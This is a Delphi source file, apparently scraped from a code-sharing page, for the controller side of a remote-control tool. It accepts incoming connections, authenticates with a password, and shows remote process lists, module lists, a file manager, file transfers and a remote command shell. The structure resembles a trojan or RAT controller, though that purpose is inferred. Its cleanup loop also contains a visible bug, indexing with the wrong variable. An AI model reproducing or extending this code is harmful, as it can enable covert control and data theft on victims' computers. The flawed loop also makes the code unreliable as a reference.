📄 untservercore.pas
字号:
Data: String;
Time: TTimeVal;
FDS: TFDSet;
Len: Integer;
dPID: String;
dName: String;
dModule: String;
Temp: String;
FName:String;
Cmd: String;
Param: Array[0..100]of String;
D: DWord;
I: Word;
J: Word;
rByte: Cardinal;
sByte: Cardinal;
Item: TListItem;
Begin
Sock := rSock(P)^.Sock;
Count := rSock(P)^.Count;
Address := RemoteAddress(Sock);
Port := RemotePort(Sock);
rByte := 0;
sByte := 0;
AddUser(Address, Port, '', '', '', IntToStr(Sock));
Repeat
Time.tv_sec := 120;
Time.tv_usec := 0;
FD_ZERO(FDS);
FD_SET(Sock, FDS);
If Select(0, @FDS, NIL, NIL, @TIME) <= 0 Then Break;
Len := Recv(Sock, Buffer, 1600, 0);
If (Len <= 0) Then Break;
Inc(rByte, Len);
Data := String(Buffer);
ZeroMemory(@Buffer, SizeOf(Buffer));
While (Pos(#10, Data) > 0) Do
Begin
Temp := Copy(Data, 1, Pos(#10, Data)-1);
Delete(Data, 1, Pos(#10, Data));
StripOutCmd(Temp, Cmd);
StripOutParam(Temp, Param);
If IsNum(Cmd) Then
Case StrToInt(Cmd) Of
C_FINISH:Begin
For I := 0 To 100 Do
If (dlgProcessList[I] <> NIL) And
(dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
dlgProcessList[I].PopupMenu1.Items[1].Enabled := True;
End;
C_DOWNLOAD: Form1.StatusBar1.Panels[1].Text := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
C_PASS:
if (Param[0] = '0') then CloseSocket(Sock);
C_VERSION: begin
UpdateUser(Address, Port, Param[0], '', GetKBS(rByte)+'/'+GetKBS(sByte), '');
SendData(sock,'01 ' + password + #10,sByte);
end;
C_ASSIGNEDNAME: UpdateUser(Address, Port, '', '', GetKBS(rByte)+'/'+GetKBS(sByte), Copy(Temp, 4, Length(Temp)));
C_CONNECTION: UpdateUser(Address, Port, '', Copy(Temp, 4, Length(Temp)), GetKBS(rByte)+'/'+GetKBS(sByte), '');
C_PING: SendData(Sock, IntToStr(C_PING)+#10, sByte);
C_STARTTRANSFER: Begin
TransferInfo.Upload := Boolean(StrToInt(Param[0]));
TransferInfo.Size := StrToInt(Param[1]);
TransferInfo.Port := StrToInt(Param[2]);
TransferInfo.Filename := Copy(Temp, Pos(Param[3], Temp), Length(Temp));
TransferInfo.RemoteIP := RemoteAddress(Sock);
TransferInfo.RemotePort := RemotePort(Sock);
If (GetTransfer > -1) Then
If (Not TransferInfo.Upload) Then
TransferList[GetTransfer] := CreateThread(NIL, 0, @Transfer, @TransferInfo, 0, D)
Else
TransferList[GetTransfer] := CreateThread(NIL, 0, @Upload, @TransferInfo, 0, D);
End;
C_INFOSYSTEM,
C_INFOSERVER,
C_INFONETWORK: Begin
Temp := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
For I := 0 To 100 Do
If (dlgInformation[I] <> NIL) And
(dlgInformation[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
Begin
Item := dlgInformation[I].ListView1.Items.Add;
Item.Caption := Param[0];
Item.SubItems.Add(Temp);
Break;
End;
End;
C_PROCESSLIST: Begin
Temp := Copy(Temp, Pos(Param[3], Temp), Length(Temp));
For I := 0 To 100 Do
If (dlgProcessList[I] <> NIL) And
(dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
dlgProcessList[I].pAddParent(Temp, Param[0], Param[1], Param[2]);
Temp := 'ok';
Send(Sock, Temp[1], Length(Temp), 0);
Inc(sByte, Length(Temp));
End;
C_MODULELIST : Begin
dPID := Param[0];
dName := Copy(Temp, Pos(Param[1], Temp), Length(Temp));
dName := Copy(dName, 1, Pos(#1, dName)-1);
dModule := Copy(Temp, Pos(#1, Temp)+1, Length(Temp));
If (dModule <> '') And (dModule <> ' ') Then
For I := 0 To 100 Do
If (dlgProcessList[I] <> NIL) And
(dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
dlgProcessList[I].pAddChild(dPID, dName, dModule);
Temp := 'ok';
Send(Sock, Temp[1], Length(Temp), 0);
Inc(sByte, Length(Temp));
End;
C_REQUESTLIST: Begin
// Attr Size Name
Temp := Copy(Temp, Pos(Param[2], Temp), Length(Temp));
For I := 0 To 100 Do
If (dlgFileManager[I] <> NIL) And
(dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
Begin
If (Temp <> '.') Then
Begin
Item := dlgFileManager[I].ListView1.Items.Add;
Item.Caption := Temp;
If (Param[1] <> '0') Then
Item.SubItems.Add(GetKBS(StrToInt(Param[1])))
Else
Item.SubItems.Add(Param[1]);
If (Temp = '..') Then
Item.SubItems.Add('Go Back')
Else
Item.SubItems.Add(Param[0]);
If (LowerCase(ExtractFileExt(Temp)) = '.bat') Then Item.ImageIndex := 1 Else
If (LowerCase(ExtractFileExt(Temp)) = '.bmp') Then Item.ImageIndex := 2 Else
If (LowerCase(ExtractFileExt(Temp)) = '.com') Then Item.ImageIndex := 3 Else
If (Param[0] = 'DIR') Then Item.ImageIndex := 4 Else
If (LowerCase(ExtractFileExt(Temp)) = '.dll') Then Item.ImageIndex := 5 Else
If (LowerCase(ExtractFileExt(Temp)) = '.sys') Then Item.ImageIndex := 5 Else
If (LowerCase(ExtractFileExt(Temp)) = '.ocx') Then Item.ImageIndex := 5 Else
If (LowerCase(ExtractFileExt(Temp)) = '.mp3') Then Item.ImageIndex := 6 Else
If (LowerCase(ExtractFileExt(Temp)) = '.wav') Then Item.ImageIndex := 6 Else
If (LowerCase(ExtractFileExt(Temp)) = '.ogg') Then Item.ImageIndex := 6 Else
If (LowerCase(ExtractFileExt(Temp)) = '.exe') Then Item.ImageIndex := 7 Else
If (LowerCase(ExtractFileExt(Temp)) = '.gif') Then Item.ImageIndex := 8 Else
If (LowerCase(ExtractFileExt(Temp)) = '.ini') Then Item.ImageIndex := 9 Else
If (LowerCase(ExtractFileExt(Temp)) = '.inf') Then Item.ImageIndex := 9 Else
If (LowerCase(ExtractFileExt(Temp)) = '.txt') Then Item.ImageIndex := 9 Else
If (LowerCase(ExtractFileExt(Temp)) = '.cfg') Then Item.ImageIndex := 9 Else
If (LowerCase(ExtractFileExt(Temp)) = '.htm') Then Item.ImageIndex := 10 Else
If (LowerCase(ExtractFileExt(Temp)) = '.html')Then Item.ImageIndex := 10 Else
If (LowerCase(ExtractFileExt(Temp)) = '.php') Then Item.ImageIndex := 10 Else
If (LowerCase(ExtractFileExt(Temp)) = '.asp') Then Item.ImageIndex := 10 Else
If (LowerCase(ExtractFileExt(Temp)) = '.pl' ) Then Item.ImageIndex := 10 Else
If (LowerCase(ExtractFileExt(Temp)) = '.jpg') Then Item.ImageIndex := 11 Else
If (LowerCase(ExtractFileExt(Temp)) = '.pif') Then Item.ImageIndex := 12 Else
Item.ImageIndex := 0;
End;
End;
Temp := IntToStr(C_CURRENTPATH)+' 1'#10;
If (Sock > 0) Then
Begin
Send(Sock, Temp[1], Length(Temp), 0);
Inc(sByte, Length(Temp));
End;
End;
C_REQUESTDRIVE: Begin
For I := 0 To 100 Do
If (dlgFileManager[I] <> NIL) And
(dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
If (Param[0] <> '') Then
Begin
If (Param[0] <> 'A:\') Then
Begin
dlgFileManager[I].ComboBox1.Items.Add(Param[0]);
dlgFileManager[I].ComboBox1.ItemIndex := 0;
End;
If (Param[0] = 'C:\') Then
Begin
Temp := IntToStr(C_REQUESTLIST)+' '+dlgFileManager[I].ComboBox1.Items.Strings[0]+#10;
Send(Sock, Temp[1], length(Temp), 0);
Inc(sByte, Length(Temp));
End;
End;
End;
C_CURRENTPATH: Begin
Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
For I := 0 To 100 Do
If (dlgFileManager[I] <> NIL) And
(dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
Begin
dlgFileManager[I].Edit1.Text := Temp;
Break;
End;
End;
C_ENDPROCESS: Begin
Case StrToInt(Param[1]) Of
0: Form1.StatusBar1.Panels[1].Text := Param[0] + ' PID Failed To End.';
1: Form1.StatusBar1.Panels[1].Text := Param[0] + ' PID Ended Successfully.';
End;
End;
C_REMOTECMD: Begin
Temp := Copy(Temp, 4, Length(Temp));
For I := 0 To 100 Do
If (dlgRemoteShell[I] <> NIL) And
(dlgRemoteShell[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
Begin
ReplaceStr(#1, #10, Temp);
dlgRemoteShell[I].Memo1.Lines.Add(Temp);
Break;
End;
End;
End;
End;
UpdateUser(Address, Port, '', '', GetKBS(rByte)+'/'+GetKBS(sByte), '');
Until 1 = 2;
ZeroMemory(@I, SizeOf(I));
For J := 0 To 100 Do
Begin
If (dlgInformation[I] <> NIL) and
(dlgInformation[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgInformation[I].Close;
If (dlgFilemanager[I] <> NIL) and
(dlgFilemanager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgFilemanager[I].Close;
If (dlgProcessList[I] <> NIL) and
(dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgProcessList[I].Close;
If (dlgRemoteShell[I] <> NIL) and
(dlgRemoteShell[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgRemoteShell[I].Close;
End;
CloseSocket(Sock);
RemoveUser(Address, Port);
KillThread(HandleList[Count]);
End;
// Get a free handle for more threads
Function TServer.GetFreeHandle(VAR Int: Integer): Integer;
Var
I: WORD;
Begin
Result := -1;
For I := 0 to 99 Do
If (HandleList[I] = 0) Then
Begin
Result := I;
Int := I;
Break;
End;
End;
procedure TServer.Connect(Host,password:string;Port :integer);
var sByte,D:Cardinal;
Address,LPort:String;
begin
Host := ResolveIP(Host);
WSAStartUP($0101, WSA); //加载winsock库
Sock := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family := AF_INET;
Addr.sin_port := hTons(Port);
Addr.sin_addr.S_addr := inet_Addr(pChar(Host));
if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
begin
SendData(sock,'01 ' + password + #10,sByte); //连接成功发送密码验证
Address := RemoteAddress(Sock);
LPort := RemotePort(Sock);
rSocket.Sock:=Sock;
// AddUser(Address, LPort, '', '', '', IntToStr(Sock));
CreateThread(NIL, 0, @listenHost, @rSocket, 0, D)
end
else
MessageBox(0, '主机接接不收', '提示', MB_ICONERROR);
// WSACleanUP();
end;
// Accepting new connections.
Function TServer.AcceptNew(SSock: TSocket): Integer;
Var
I: Integer;
D: DWord;
Begin
If (GetFreeHandle(I) = -1) or (SSock <= 0) Then
Begin
Result := ERROR_ACCEPT;
Exit;
End;
rSocket.Sock := SSock;
rSocket.Count := I;
SocketList[I] := SSock;
HandleList[I] := CreateThread(nil, 0, @ListenHost, @rSocket, 0, D);
Count := ReCount();
Result := SUCCESS_ACCEPT;
End;
// Function for creating sockets and listening.
Function TServer.Listen: Integer;
Begin
WSAStartUp($0101, WSA);
Count := 0;
FillChar(SocketList, 99, 0);
Sock := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family := AF_INET;
Addr.sin_port := hTons(Port);
Addr.sin_addr.S_addr := INADDR_ANY;
If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then
Begin
Result := ERROR_BIND;
ReturnError := Result;
WSACleanUp();
Exit;
End;
If (Winsock.listen(Sock, SOMAXCONN) <> 0) Then
Begin
Result := ERROR_LISTEN;
ReturnError := Result;
WSACleanUp();
Exit;
End;
Len := SizeOf(Remote);
Repeat
TempSock := Accept(Sock, @Remote, @Len);
If (TempSock = INVALID_SOCKET) Then
Begin
Result := ERROR_ACCEPT;
ReturnError := Result;
WSACleanUp();
Exit;
End;
ResolveStatus(AcceptNew(TempSock));
TempSock := INVALID_SOCKET;
Until False;
WSACleanUp();
End;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -